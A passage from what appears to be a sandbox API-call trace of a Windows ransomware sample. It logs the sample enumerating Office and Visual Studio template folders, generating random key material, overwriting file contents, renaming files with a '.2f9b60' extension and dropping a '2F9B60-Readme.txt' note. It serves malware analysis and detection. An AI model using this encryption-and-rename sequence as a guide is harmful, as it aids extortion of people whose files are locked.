wcscat (in: _Dest=0x1ced12a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0225.634] wcscat (in: _Dest=0x1ced12a0, _Source="Visualizer.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip" [0225.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced12a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x149c [0225.635] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x0, dwReserved1=0x0, cFileName="XmlFile.zip", cAlternateFileName="")) returned 1 [0225.635] wcscmp (_String1="XmlFile.zip", _String2=".") returned 1 [0225.635] wcscmp (_String1="XmlFile.zip", _String2="..") returned 1 [0225.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1cecfe80 [0225.635] wcscpy (in: _Dest=0x1cecfe80, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0225.635] wcscat (in: _Dest=0x1cecfe80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0225.636] wcscat (in: _Dest=0x1cecfe80, _Source="XmlFile.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip" [0225.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cecfe80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29ac [0225.636] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x0, dwReserved1=0x0, cFileName="XmlFile.zip", cAlternateFileName="")) returned 0 [0225.636] FindClose (in: hFindFile=0x1cd9ca30 | out: hFindFile=0x1cd9ca30) returned 1 [0225.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a2f0) returned 1 [0225.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119990) returned 1 [0225.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107fc0) returned 1 [0225.641] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0225.641] FindClose (in: hFindFile=0x1cd9c550 | out: hFindFile=0x1cd9c550) returned 1 [0225.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a560) returned 1 [0225.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107480) returned 1 [0225.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107cc0) returned 1 [0225.643] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x20501de0 | out: lpFindFileData=0x20501de0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualBasic", cAlternateFileName="VISUAL~1")) returned 1 [0225.644] wcscmp (_String1="VisualBasic", _String2=".") returned 1 [0225.644] wcscmp (_String1="VisualBasic", _String2="..") returned 1 [0225.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x107cc0 [0225.644] wcscpy (in: _Dest=0x107cc0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" [0225.644] wcscat (in: _Dest=0x107cc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\" [0225.644] wcscat (in: _Dest=0x107cc0, _Source="VisualBasic" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic" [0225.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x107cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c8 [0225.645] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x20501de0 | out: lpFindFileData=0x20501de0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualBasic", cAlternateFileName="VISUAL~1")) returned 0 [0225.645] FindClose (in: hFindFile=0x1cd9e030 | out: hFindFile=0x1cd9e030) returned 1 [0225.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501de0) returned 1 [0225.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8632d0) returned 1 [0225.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65a20) returned 1 Thread: id = 2138 os_tid = 0x14ec [0139.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 right.accdt")) returned 0x20 [0139.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt", dwFileAttributes=0x20) returned 1 [0139.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 right.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b94 [0139.766] GetFileSizeEx (in: hFile=0x1b94, lpFileSize=0x34c7fbe0 | out: lpFileSize=0x34c7fbe0*=24538) returned 1 [0139.766] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x5fd6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.766] ReadFile (in: hFile=0x1b94, lpBuffer=0x34c7fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34c7fba8, lpOverlapped=0x0 | out: lpBuffer=0x34c7fb60*, lpNumberOfBytesRead=0x34c7fba8*=0x4, lpOverlapped=0x0) returned 1 [0139.768] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab430 [0139.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abbb0 [0139.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0139.769] NtQuerySystemTime (in: CurrentTime=0x34c7faa0 | out: CurrentTime=0x34c7faa0*=132462177450094000) returned 0x0 [0139.769] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x471250ec [0139.769] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x5938b752 [0139.769] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x561cec26 [0139.769] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x42b0f2db [0139.769] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x7f99a3c1 [0139.769] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x5c6c4962 [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x45f1b808 [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x3df1e738 [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x371b26aa [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x62426fd2 [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x607e7dd6 [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x48d3025 [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x25c5a04a [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0xc19a56c [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x66f1b7c [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x3613d620 [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x7b7a868e [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x7e734582 [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x2421917c [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x50cb975d [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x7d962b0f [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x4279c5db [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x790ce4ed [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x45fa14e [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x2e82ff92 [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x6393e8aa [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x4a809aec [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0xa4f958 [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x38083e5d [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x5f19d562 [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x5e41b052 [0139.770] RtlRandomEx (in: Seed=0x34c7fa90 | out: Seed=0x34c7fa90) returned 0x634560bd [0139.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5f0 [0139.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab6d0 [0139.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0139.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab430) returned 1 [0139.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42161180 [0139.780] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.780] ReadFile (in: hFile=0x1b94, lpBuffer=0x42161180, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34c7fb00, lpOverlapped=0x0 | out: lpBuffer=0x42161180*, lpNumberOfBytesRead=0x34c7fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0139.781] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab430 [0139.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab430) returned 1 [0139.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42164d90 [0139.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab430 [0139.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0139.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0139.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.783] WriteFile (in: hFile=0x1b94, lpBuffer=0x42164d90*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34c7fb00, lpOverlapped=0x0 | out: lpBuffer=0x42164d90*, lpNumberOfBytesWritten=0x34c7fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0166.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42164d90) returned 1 [0166.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42161180) returned 1 [0166.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x423a1430 [0166.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0166.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0166.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1400 [0166.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1400) returned 1 [0166.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x423a1400 [0166.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a12e0 [0166.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1310 [0166.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1310) returned 1 [0166.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0166.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0166.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x423aba90 [0166.200] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.200] WriteFile (in: hFile=0x1b94, lpBuffer=0x423aba90*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x34c7fbb0, lpOverlapped=0x0 | out: lpBuffer=0x423aba90*, lpNumberOfBytesWritten=0x34c7fbb0*=0x10c, lpOverlapped=0x0) returned 1 [0215.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bf70 [0215.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb860 [0215.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab00 [0215.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aab00) returned 1 [0215.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x202aab00 [0215.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aabc0 [0215.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab070 [0215.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab070) returned 1 [0215.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb860) returned 1 [0215.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bf70) returned 1 [0215.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1b7d8500 [0215.206] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="e7") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="8f") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="42") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="04") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="72") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="84") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="eb") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="07") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="fc") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="77") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="4b") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="81") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="50") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="9f") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="6b") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="aa") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="c4") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="82") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="3f") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="18") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="86") returned 2 [0215.206] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="e0") returned 2 [0215.207] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="01") returned 2 [0215.207] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="06") returned 2 [0215.207] sprintf (in: _Dest=0x1b7d8530, _Format="%c%c" | out: _Dest="de") returned 2 [0215.207] sprintf (in: _Dest=0x1b7d8532, _Format="%c%c" | out: _Dest="0b") returned 2 [0215.207] RtlInitAnsiString (in: DestinationString=0x34c7fc28, SourceString="e78f42047284eb07fc774b81509f6baac4823f1886e00106de0b" | out: DestinationString="e78f42047284eb07fc774b81509f6baac4823f1886e00106de0b") [0215.207] RtlAnsiStringToUnicodeString (in: DestinationString=0x34c7fbf8, SourceString="e78f42047284eb07fc774b81509f6baac4823f1886e00106de0b", AllocateDestinationString=1 | out: DestinationString="e78f42047284eb07fc774b81509f6baac4823f1886e00106de0b") returned 0x0 [0215.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1ceba9e0 [0215.208] wcscat (in: _Dest=0x1cd656b0, _Source="e78f42047284e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\e78f42047284e") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\e78f42047284e" [0215.208] wcscat (in: _Dest=0x1cd656b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\e78f42047284e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\e78f42047284e.2f9b60" [0215.208] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\e78f42047284e.2f9b60", NtPathName=0x34c7fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\e78f42047284e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4205f430 [0238.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f430) returned 1 [0238.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b2230) returned 1 [0238.395] NtQueryInformationFile (in: FileHandle=0x1b94, IoStatusBlock=0x34c7fc38, FileInformation=0x34c7fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x34c7fc38, FileInformation=0x34c7fc48) returned 0x0 [0238.395] NtSetInformationFile (FileHandle=0x1b94, IoStatusBlock=0x34c7fc38, FileInformation=0x34c7fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0241.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd656b0) returned 1 [0241.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba9e0) returned 1 [0241.899] FlushFileBuffers (hFile=0x1b94) returned 1 [0241.916] CloseHandle (hObject=0x1b94) returned 1 [0242.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x43144bf0 [0242.993] wcscpy (in: _Dest=0x43144bf0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0242.993] wcscat (in: _Dest=0x43144bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" [0242.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2f9b60-readme.txt")) returned 0x20 [0242.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43144bf0) returned 1 [0242.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bd70) returned 1 Thread: id = 2139 os_tid = 0x14f0 [0139.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Top.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 top.accdt")) returned 0x20 [0139.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Top.accdt", dwFileAttributes=0x20) returned 1 [0139.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Top.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 top.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b98 [0139.790] GetFileSizeEx (in: hFile=0x1b98, lpFileSize=0x3998fdc0 | out: lpFileSize=0x3998fdc0*=24581) returned 1 [0139.790] SetFilePointerEx (in: hFile=0x1b98, liDistanceToMove=0x6001, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.790] ReadFile (in: hFile=0x1b98, lpBuffer=0x3998fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3998fd88, lpOverlapped=0x0 | out: lpBuffer=0x3998fd40*, lpNumberOfBytesRead=0x3998fd88*=0x4, lpOverlapped=0x0) returned 1 [0139.793] SetFilePointerEx (in: hFile=0x1b98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0139.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b310 [0139.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b5b0 [0139.794] NtQuerySystemTime (in: CurrentTime=0x3998fc80 | out: CurrentTime=0x3998fc80*=132462177450406000) returned 0x0 [0139.794] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x67c3e7f [0139.794] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x30e31f15 [0139.794] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x7d1c4d69 [0139.794] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0xb439ad5 [0139.794] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 